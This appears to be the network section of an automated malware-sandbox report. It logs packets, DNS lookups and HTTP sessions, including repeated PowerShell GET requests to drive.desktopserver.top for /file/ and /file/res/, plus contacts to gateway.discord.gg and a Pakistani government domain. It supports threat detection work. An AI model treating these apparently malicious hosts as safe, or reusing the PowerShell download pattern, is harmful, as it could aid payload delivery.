Sep 30, 2024 18:58:37.279411077 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.279412985 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.279428959 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.279447079 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.279489040 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.279496908 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.279527903 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.279932976 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.299232006 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.931191921 CEST	49760	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:37.931271076 CEST	443	49760	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:37.931360960 CEST	49760	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:37.931570053 CEST	49761	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:37.931618929 CEST	443	49761	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:37.931694031 CEST	49761	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:37.931778908 CEST	49760	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:37.931803942 CEST	443	49760	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:37.931989908 CEST	49761	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:37.932007074 CEST	443	49761	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.391657114 CEST	443	49760	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.391736031 CEST	49760	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.393518925 CEST	49760	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.393532991 CEST	443	49760	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.393780947 CEST	443	49760	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.394838095 CEST	49760	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.411823988 CEST	443	49761	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.411917925 CEST	49761	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.413471937 CEST	49761	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.413485050 CEST	443	49761	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.413733006 CEST	443	49761	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.414664984 CEST	49761	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.439405918 CEST	443	49760	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.455400944 CEST	443	49761	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.459338903 CEST	49762	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.459395885 CEST	443	49762	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.459717989 CEST	49762	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.460115910 CEST	49762	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.460124016 CEST	443	49762	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.572282076 CEST	443	49760	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.572343111 CEST	443	49760	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.572598934 CEST	49760	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.572907925 CEST	49760	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.595232010 CEST	443	49761	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.595302105 CEST	443	49761	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.595427036 CEST	49761	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.595954895 CEST	49761	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.764524937 CEST	49755	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:38.860225916 CEST	49756	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:38.926621914 CEST	443	49762	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.926702023 CEST	49762	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.930835962 CEST	49762	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.930844069 CEST	443	49762	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.931094885 CEST	443	49762	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:38.932579994 CEST	49762	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:38.975399971 CEST	443	49762	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:39.116202116 CEST	443	49762	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:39.116274118 CEST	443	49762	162.159.135.234	192.168.2.5
Sep 30, 2024 18:58:39.116329908 CEST	49762	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:39.116722107 CEST	49762	443	192.168.2.5	162.159.135.234
Sep 30, 2024 18:58:39.305143118 CEST	49754	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:51.126413107 CEST	49763	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:51.126463890 CEST	443	49763	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:51.126633883 CEST	49763	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:51.127580881 CEST	49763	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:51.127589941 CEST	443	49763	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:51.661184072 CEST	49746	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:51.921736956 CEST	443	49763	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:51.921808004 CEST	49763	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:51.924218893 CEST	49763	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:51.924228907 CEST	443	49763	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:51.924505949 CEST	443	49763	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:51.928029060 CEST	49763	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:51.928105116 CEST	49763	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:51.928109884 CEST	443	49763	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:51.928256989 CEST	49763	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:51.975416899 CEST	443	49763	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:52.100943089 CEST	443	49763	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:52.101475000 CEST	49763	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:52.101486921 CEST	443	49763	40.113.103.199	192.168.2.5
Sep 30, 2024 18:58:52.101519108 CEST	49763	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:58:52.101541042 CEST	49763	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:03.638154984 CEST	49764	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:59:03.638200998 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:03.638366938 CEST	49764	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:59:03.638817072 CEST	49764	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:59:03.638829947 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.290541887 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.290618896 CEST	49764	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:59:04.292172909 CEST	49764	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:59:04.292187929 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.292561054 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.293962002 CEST	49764	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:59:04.339411974 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.501454115 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.501480103 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.501496077 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.501550913 CEST	49764	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:59:04.501573086 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.501624107 CEST	49764	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:59:04.502545118 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.502583027 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.502613068 CEST	49764	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:59:04.502619028 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.502650023 CEST	49764	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:59:04.502728939 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.502775908 CEST	49764	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:59:04.505706072 CEST	49764	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:59:04.505723000 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:04.505733967 CEST	49764	443	192.168.2.5	20.12.23.50
Sep 30, 2024 18:59:04.505739927 CEST	443	49764	20.12.23.50	192.168.2.5
Sep 30, 2024 18:59:06.435931921 CEST	49747	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:59:06.598208904 CEST	49745	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:59:16.254029036 CEST	49767	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:59:16.254084110 CEST	443	49767	142.250.184.228	192.168.2.5
Sep 30, 2024 18:59:16.254213095 CEST	49767	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:59:16.254472971 CEST	49767	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:59:16.254487038 CEST	443	49767	142.250.184.228	192.168.2.5
Sep 30, 2024 18:59:17.314492941 CEST	443	49767	142.250.184.228	192.168.2.5
Sep 30, 2024 18:59:17.362153053 CEST	49767	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:59:17.375984907 CEST	49767	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:59:17.376008034 CEST	443	49767	142.250.184.228	192.168.2.5
Sep 30, 2024 18:59:17.376595020 CEST	443	49767	142.250.184.228	192.168.2.5
Sep 30, 2024 18:59:17.377104998 CEST	49767	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:59:17.377181053 CEST	443	49767	142.250.184.228	192.168.2.5
Sep 30, 2024 18:59:17.424602032 CEST	49767	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:59:18.521580935 CEST	49768	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:18.521645069 CEST	443	49768	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:18.521842003 CEST	49768	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:18.522634983 CEST	49768	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:18.522656918 CEST	443	49768	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:19.318814993 CEST	443	49768	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:19.318934917 CEST	49768	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:19.322935104 CEST	49768	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:19.322948933 CEST	443	49768	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:19.323204041 CEST	443	49768	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:19.324990988 CEST	49768	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:19.325145960 CEST	49768	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:19.325153112 CEST	443	49768	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:19.325265884 CEST	49768	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:19.367410898 CEST	443	49768	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:19.500900030 CEST	443	49768	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:19.500988007 CEST	443	49768	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:19.501228094 CEST	49768	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:19.501416922 CEST	49768	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:19.501442909 CEST	443	49768	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:27.220032930 CEST	443	49767	142.250.184.228	192.168.2.5
Sep 30, 2024 18:59:27.220118999 CEST	443	49767	142.250.184.228	192.168.2.5
Sep 30, 2024 18:59:27.220186949 CEST	49767	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:59:28.905777931 CEST	49767	443	192.168.2.5	142.250.184.228
Sep 30, 2024 18:59:28.905808926 CEST	443	49767	142.250.184.228	192.168.2.5
Sep 30, 2024 18:59:44.402079105 CEST	49708	80	192.168.2.5	199.232.210.172
Sep 30, 2024 18:59:44.407730103 CEST	80	49708	199.232.210.172	192.168.2.5
Sep 30, 2024 18:59:44.407823086 CEST	49708	80	192.168.2.5	199.232.210.172
Sep 30, 2024 18:59:49.741569996 CEST	49770	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:49.741662025 CEST	443	49770	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:49.741765976 CEST	49770	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:49.742604971 CEST	49770	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:49.742640972 CEST	443	49770	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:50.528353930 CEST	443	49770	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:50.528424025 CEST	49770	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:50.530217886 CEST	49770	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:50.530230045 CEST	443	49770	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:50.530476093 CEST	443	49770	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:50.531922102 CEST	49770	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:50.531982899 CEST	49770	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:50.531987906 CEST	443	49770	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:50.532114983 CEST	49770	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:50.579410076 CEST	443	49770	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:50.702080965 CEST	443	49770	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:50.702183962 CEST	443	49770	40.113.103.199	192.168.2.5
Sep 30, 2024 18:59:50.702284098 CEST	49770	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:50.702645063 CEST	49770	443	192.168.2.5	40.113.103.199
Sep 30, 2024 18:59:50.702677011 CEST	443	49770	40.113.103.199	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 18:58:10.983424902 CEST	64510	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:58:11.925549030 CEST	52777	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:58:11.925992966 CEST	58416	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:58:11.992819071 CEST	64510	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:58:12.300019979 CEST	53	64510	1.1.1.1	192.168.2.5
Sep 30, 2024 18:58:12.307133913 CEST	53	50092	1.1.1.1	192.168.2.5
Sep 30, 2024 18:58:12.307215929 CEST	53	64510	1.1.1.1	192.168.2.5
Sep 30, 2024 18:58:12.307250023 CEST	53	50687	1.1.1.1	192.168.2.5
Sep 30, 2024 18:58:12.449975014 CEST	53	58416	1.1.1.1	192.168.2.5
Sep 30, 2024 18:58:12.450484037 CEST	53	52777	1.1.1.1	192.168.2.5
Sep 30, 2024 18:58:13.409904003 CEST	53	63095	1.1.1.1	192.168.2.5
Sep 30, 2024 18:58:16.163785934 CEST	60315	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:58:16.164119005 CEST	55397	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:58:16.231302023 CEST	50868	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:58:16.231482983 CEST	64881	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:58:16.238575935 CEST	53	50868	1.1.1.1	192.168.2.5
Sep 30, 2024 18:58:16.238943100 CEST	53	64881	1.1.1.1	192.168.2.5
Sep 30, 2024 18:58:16.334031105 CEST	53	55397	1.1.1.1	192.168.2.5
Sep 30, 2024 18:58:16.467133999 CEST	53	60315	1.1.1.1	192.168.2.5
Sep 30, 2024 18:58:22.655375957 CEST	49883	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:58:22.662159920 CEST	53	49883	1.1.1.1	192.168.2.5
Sep 30, 2024 18:58:30.993557930 CEST	53	62813	1.1.1.1	192.168.2.5
Sep 30, 2024 18:58:49.948997021 CEST	53	65374	1.1.1.1	192.168.2.5
Sep 30, 2024 18:59:11.497373104 CEST	53	58239	1.1.1.1	192.168.2.5
Sep 30, 2024 18:59:12.911567926 CEST	53	50923	1.1.1.1	192.168.2.5
Sep 30, 2024 18:59:40.198076963 CEST	53	51196	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Sep 30, 2024 18:58:12.307296038 CEST	192.168.2.5	1.1.1.1	c20e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 30, 2024 18:58:10.983424902 CEST	192.168.2.5	1.1.1.1	0xeebd	Standard query (0)	drive.desktopserver.top	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:11.925549030 CEST	192.168.2.5	1.1.1.1	0xc486	Standard query (0)	mora.gov.pk	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:11.925992966 CEST	192.168.2.5	1.1.1.1	0x7731	Standard query (0)	mora.gov.pk	65	IN (0x0001)	false
Sep 30, 2024 18:58:11.992819071 CEST	192.168.2.5	1.1.1.1	0xeebd	Standard query (0)	drive.desktopserver.top	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:16.163785934 CEST	192.168.2.5	1.1.1.1	0x840a	Standard query (0)	mora.gov.pk	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:16.164119005 CEST	192.168.2.5	1.1.1.1	0x3129	Standard query (0)	mora.gov.pk	65	IN (0x0001)	false
Sep 30, 2024 18:58:16.231302023 CEST	192.168.2.5	1.1.1.1	0x43b9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:16.231482983 CEST	192.168.2.5	1.1.1.1	0x556	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 30, 2024 18:58:22.655375957 CEST	192.168.2.5	1.1.1.1	0x7a7c	Standard query (0)	gateway.discord.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 30, 2024 18:58:12.300019979 CEST	1.1.1.1	192.168.2.5	0xeebd	No error (0)	drive.desktopserver.top	104.21.92.189	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:12.300019979 CEST	1.1.1.1	192.168.2.5	0xeebd	No error (0)	drive.desktopserver.top	172.67.197.32	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:12.307215929 CEST	1.1.1.1	192.168.2.5	0xeebd	No error (0)	drive.desktopserver.top	104.21.92.189	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:12.307215929 CEST	1.1.1.1	192.168.2.5	0xeebd	No error (0)	drive.desktopserver.top	172.67.197.32	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:12.450484037 CEST	1.1.1.1	192.168.2.5	0xc486	No error (0)	mora.gov.pk	203.101.184.86	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:16.238575935 CEST	1.1.1.1	192.168.2.5	0x43b9	No error (0)	www.google.com	142.250.184.228	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:16.238943100 CEST	1.1.1.1	192.168.2.5	0x556	No error (0)	www.google.com		65	IN (0x0001)	false
Sep 30, 2024 18:58:16.467133999 CEST	1.1.1.1	192.168.2.5	0x840a	No error (0)	mora.gov.pk	203.101.184.86	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:22.662159920 CEST	1.1.1.1	192.168.2.5	0x7a7c	No error (0)	gateway.discord.gg	162.159.135.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:22.662159920 CEST	1.1.1.1	192.168.2.5	0x7a7c	No error (0)	gateway.discord.gg	162.159.133.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:22.662159920 CEST	1.1.1.1	192.168.2.5	0x7a7c	No error (0)	gateway.discord.gg	162.159.130.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:22.662159920 CEST	1.1.1.1	192.168.2.5	0x7a7c	No error (0)	gateway.discord.gg	162.159.134.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:22.662159920 CEST	1.1.1.1	192.168.2.5	0x7a7c	No error (0)	gateway.discord.gg	162.159.136.234	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.desktopserver.top

mora.gov.pk

gateway.discord.gg

slscr.update.microsoft.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49725	104.21.92.189	80	7304	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:58:12.712457895 CEST	173	OUT	GET /file/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
Sep 30, 2024 18:58:12.903218031 CEST	860	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:12 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:12 GMT Location: https://drive.desktopserver.top/file/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xitzcJpbCZGqkAIV8gqncAD2ZAdL%2BqIj2oudbGN240kg0E6quabWKCj8YMhwFe8YSPsV47iEdUi1dh7BmxbZ1HlGjlgg1laJuN%2BM156Riyk2ORfQzn8BTJ6%2Fx3pTMCFlJljCEHfZw%2BiR7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1a64bee4310-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49741	104.21.92.189	80	8288	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:58:18.925689936 CEST	177	OUT	GET /file/res/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
Sep 30, 2024 18:58:19.426460028 CEST	860	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:19 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:19 GMT Location: https://drive.desktopserver.top/file/res/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1sVY4GACmvwRCkRzu7JGloxud0X6KHfU1ohsI6b4VTQwBGK6oGUcqwgKt4R3Q%2B4aqJeF0ozlSnBT6k05WMjgOBtP4oMJBIF2g%2F8ZJTxZH0TReMRJ7WKa7zmCcb7IVp6VMnMSNO0ur9QleQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1ceeb917cb1-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Sep 30, 2024 18:58:19.724448919 CEST	860	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:19 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:19 GMT Location: https://drive.desktopserver.top/file/res/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1sVY4GACmvwRCkRzu7JGloxud0X6KHfU1ohsI6b4VTQwBGK6oGUcqwgKt4R3Q%2B4aqJeF0ozlSnBT6k05WMjgOBtP4oMJBIF2g%2F8ZJTxZH0TReMRJ7WKa7zmCcb7IVp6VMnMSNO0ur9QleQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1ceeb917cb1-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49745	104.21.92.189	80	9160	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:58:24.391103983 CEST	173	OUT	GET /file/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
